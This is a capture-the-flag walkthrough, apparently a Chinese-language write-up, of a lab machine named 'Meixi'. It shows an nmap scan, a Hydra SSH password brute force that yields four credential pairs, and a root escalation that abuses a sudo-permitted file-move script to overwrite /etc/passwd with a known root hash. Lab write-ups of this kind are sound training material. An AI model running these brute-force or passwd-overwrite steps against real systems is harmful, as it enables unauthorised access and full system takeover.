┌──(root㉿kali)-[~] └─# nmap -sV -A -p- 192.168.209.122 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-2723:03 EDT Nmap scan report for 192.168.209.122 Host is up (0.00053s latency). Not shown:65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 2563b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Neon User Matrix MAC Address:08:00:27:D8:B9:BA (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2-7.5 (Linux 5.6.3) Network Distance:1 hop Service Info:OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 10.53 ms 192.168.209.122
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in21.53 seconds
┌──(root㉿kali)-[/tmp] └─# hydra -L user -P aa -t 4 -I ssh://192.168.209.122 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illel purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-2722:24:53 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (l:4/p:4), ~4 tries per task [DATA] attacking ssh://192.168.209.122:22/ [22][ssh] host:192.168.209.122login: hyh password: cassandra [22][ssh] host:192.168.209.122login: laoye password: fuckit [22][ssh] host:192.168.209.122login: qiaojojo password: pinkgirl [22][ssh] host:192.168.209.122login: sublarge password: summertime 1 of 1 target successfully completed, 4 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-2722:25:02
qiaojojo@Meixi:~$ sudo -l Matching Defaults entries for qiaojojo on Meixi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User qiaojojo may run the following commands on Meixi: (ALL) NOPASSWD: /opt/move.sh
qiaojojo@Meixi:/opt$ cat move.sh #!/bin/bash if [ $# -ne 2 ]; then echo "Error: Incorrect number of arguments" >&2 exit1 fi src_file=$1 dest_path=$2 if [ ! -f "$src_file" ]; then echo "Error: Source file does not exist" >&2 exit2 fi mv "$src_file""$dest_path" if [ $? -eq 0 ]; then echo "File moved successfully: $src_file -> $dest_path" else echo "Unknown error: Failed to move file" >&2 exit4 fi
思路:
1.把/etc/passwd中的root密码进行替换,然后使用su root即可连接
2.把bash与move.sh进行替换,让bash有sudo权限,然后sudo bash -p即可
方式一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
qiaojojo@Meixi:/opt$ sudo -u root /opt/move.sh /tmp/passwd /etc File moved successfully: /tmp/passwd -> /etc qiaojojo@Meixi:/opt$ cat etc/passwd cat: etc/passwd:No such file or directory qiaojojo@Meixi:/opt$ cd qiaojojo@Meixi:~$ cat /etc/passwd | head -3 root:$1$IPae7kgk$c2xLyPT6YfuxVtcOfovtC/:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
qiaojojo@Meixi:~$ su - root Password: root@Meixi:~# ls root.txt